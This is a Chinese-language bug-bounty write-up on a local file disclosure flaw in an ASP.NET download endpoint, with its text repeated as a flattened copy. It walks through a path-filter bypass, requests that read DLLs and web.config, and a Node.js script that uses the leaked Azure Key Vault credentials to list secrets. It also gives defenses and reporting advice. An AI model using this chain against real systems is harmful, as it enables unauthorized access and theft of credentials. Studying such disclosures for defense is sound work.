挖洞经验 | 通过读取ASP.NET应用泄露的secrets获得bug赏金17000美刀
字数 1589 2025-08-18 11:37:50

ASP.NET 应用程序本地文件泄露(LFD)漏洞利用深度解析

漏洞概述

ASP.NET 应用程序中的本地文件泄露(Local File Disclosure, LFD)漏洞允许攻击者读取服务器上的敏感文件,包括配置文件、源代码和加密密钥等。本案例展示了如何通过精心构造的请求逐步深入利用此类漏洞,最终获取Azure Key Vault访问权限,造成严重安全影响。

漏洞发现与利用流程

1. 初始发现

  • 目标URL: https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...
  • 初步观察: 参数f似乎控制下载文件,但值被加密
  • 旧版本发现: 同一端点未加密版本 https://domain.com/utility/download.aspx?f=file1234.docx

2. 基本文件读取测试

尝试读取ASP.NET文件:

GET /utility/download.aspx?f=download.aspx

成功返回ASPX文件内容,但无法直接读取.aspx.cs源码文件。

技术说明:

  • .aspx文件包含HTML标记和服务器端脚本
  • .aspx.cs是代码后置文件,包含C#逻辑代码
  • 运行时编译为DLL存放在/bin目录

3. 目录遍历绕过

初始尝试使用../被服务器拒绝(400错误),通过fuzz测试发现+字符可绕过限制:

GET /utility/download.aspx?f=.[+]./utility/download.aspx

4. 读取ASHX处理器文件

ASHX是一般处理程序文件,可能包含敏感逻辑:

GET /utility/download.aspx?f=example.ashx

响应包含C#代码和命名空间信息,可用于定位相关DLL。

5. 获取编译后的DLL

ASP.NET应用程序编译后的类存储在/bin目录:

GET /utility/download.aspx?f=bin/redacted.dll

使用dnSpy等工具反编译可恢复应用程序源代码。

6. 读取web.config文件

web.config是ASP.NET核心配置文件,包含大量敏感信息:

GET /utility/download.aspx?f=web.config

典型敏感内容包括:

  • 数据库连接字符串
  • 应用程序密钥
  • Azure Key Vault凭据
  • API密钥和其他配置

7. Azure Key Vault利用

从web.config获取的Azure凭据示例:

<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />

使用Node.js脚本访问Key Vault:

var KeyVault = require('azure-keyvault');
var AuthenticationContext = require('adal-node').AuthenticationContext;

// 使用从web.config获取的凭据
var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";

// 认证和获取访问令牌
var authenticator = function (challenge, callback) {
  var context = new AuthenticationContext(challenge.authorization);
  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
    if (err) throw err;
    var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
    return callback(null, authorizationValue);
  });
};

// 创建Key Vault客户端并获取机密
var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);

client.getSecrets(vaultUri).then(function(value) {
  console.log(value); // 输出获取的机密信息
});

关键利用技术总结

  1. 文件读取顺序:

    • 从可访问的ASPX/ASHX文件开始
    • 定位相关DLL文件路径
    • 获取web.config配置文件
    • 提取第三方服务凭据(如Azure Key Vault)
  2. 绕过技术:

    • 使用特殊字符(如+)绕过路径过滤
    • 利用URL编码尝试不同遍历方式
  3. 敏感信息定位:

    • /bin目录下的DLL文件包含编译后代码
    • web.config是核心配置文件
    • 第三方服务凭据通常存储在配置中

防御措施

  1. 输入验证:

    • 严格验证文件路径参数
    • 禁止目录遍历字符
    • 使用白名单限制可访问文件
  2. 配置保护:

    • 加密敏感配置节
    • 使用Azure Key Vault等安全存储替代明文存储
    • 限制配置文件权限
  3. 最小权限原则:

    • 应用程序运行账户仅需必要权限
    • 限制对/bin和配置文件的访问
  4. 安全开发实践:

    • 避免在代码中硬编码凭据
    • 使用安全的文件操作API
    • 定期安全审计和渗透测试

时间线与报告要点

  1. 漏洞发现与初步验证
  2. 逐步深入利用过程记录
  3. 影响范围评估(证明可访问敏感系统)
  4. 清晰的重现步骤
  5. 修复建议

工具推荐

  1. 测试工具:

    • Burp Suite - 用于请求拦截和fuzz测试
    • OWASP ZAP - 自动化漏洞扫描
  2. 分析工具:

    • dnSpy - .NET程序集反编译
    • ILSpy - 替代的.NET反编译工具
  3. Azure相关:

    • Azure CLI - 管理Azure资源
    • Azure Key Vault Explorer - 可视化查看Key Vault内容

通过系统性地利用ASP.NET应用程序的文件读取漏洞,攻击者可以逐步深入获取系统控制权。开发人员必须重视此类漏洞,实施多层防御措施保护敏感信息和系统安全。

ASP.NET 应用程序本地文件泄露(LFD)漏洞利用深度解析 漏洞概述 ASP.NET 应用程序中的本地文件泄露(Local File Disclosure, LFD)漏洞允许攻击者读取服务器上的敏感文件,包括配置文件、源代码和加密密钥等。本案例展示了如何通过精心构造的请求逐步深入利用此类漏洞,最终获取Azure Key Vault访问权限,造成严重安全影响。 漏洞发现与利用流程 1. 初始发现 目标URL: https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF... 初步观察: 参数 f 似乎控制下载文件,但值被加密 旧版本发现: 同一端点未加密版本 https://domain.com/utility/download.aspx?f=file1234.docx 2. 基本文件读取测试 尝试读取ASP.NET文件: 成功返回ASPX文件内容,但无法直接读取 .aspx.cs 源码文件。 技术说明 : .aspx 文件包含HTML标记和服务器端脚本 .aspx.cs 是代码后置文件,包含C#逻辑代码 运行时编译为DLL存放在 /bin 目录 3. 目录遍历绕过 初始尝试使用 ../ 被服务器拒绝(400错误),通过fuzz测试发现 + 字符可绕过限制: 4. 读取ASHX处理器文件 ASHX是一般处理程序文件,可能包含敏感逻辑: 响应包含C#代码和命名空间信息,可用于定位相关DLL。 5. 获取编译后的DLL ASP.NET应用程序编译后的类存储在 /bin 目录: 使用dnSpy等工具反编译可恢复应用程序源代码。 6. 读取web.config文件 web.config是ASP.NET核心配置文件,包含大量敏感信息: 典型敏感内容包括: 数据库连接字符串 应用程序密钥 Azure Key Vault凭据 API密钥和其他配置 7. Azure Key Vault利用 从web.config获取的Azure凭据示例: 使用Node.js脚本访问Key Vault: 关键利用技术总结 文件读取顺序 : 从可访问的ASPX/ASHX文件开始 定位相关DLL文件路径 获取web.config配置文件 提取第三方服务凭据(如Azure Key Vault) 绕过技术 : 使用特殊字符(如 + )绕过路径过滤 利用URL编码尝试不同遍历方式 敏感信息定位 : /bin 目录下的DLL文件包含编译后代码 web.config 是核心配置文件 第三方服务凭据通常存储在配置中 防御措施 输入验证 : 严格验证文件路径参数 禁止目录遍历字符 使用白名单限制可访问文件 配置保护 : 加密敏感配置节 使用Azure Key Vault等安全存储替代明文存储 限制配置文件权限 最小权限原则 : 应用程序运行账户仅需必要权限 限制对 /bin 和配置文件的访问 安全开发实践 : 避免在代码中硬编码凭据 使用安全的文件操作API 定期安全审计和渗透测试 时间线与报告要点 漏洞发现与初步验证 逐步深入利用过程记录 影响范围评估(证明可访问敏感系统) 清晰的重现步骤 修复建议 工具推荐 测试工具 : Burp Suite - 用于请求拦截和fuzz测试 OWASP ZAP - 自动化漏洞扫描 分析工具 : dnSpy - .NET程序集反编译 ILSpy - 替代的.NET反编译工具 Azure相关 : Azure CLI - 管理Azure资源 Azure Key Vault Explorer - 可视化查看Key Vault内容 通过系统性地利用ASP.NET应用程序的文件读取漏洞,攻击者可以逐步深入获取系统控制权。开发人员必须重视此类漏洞,实施多层防御措施保护敏感信息和系统安全。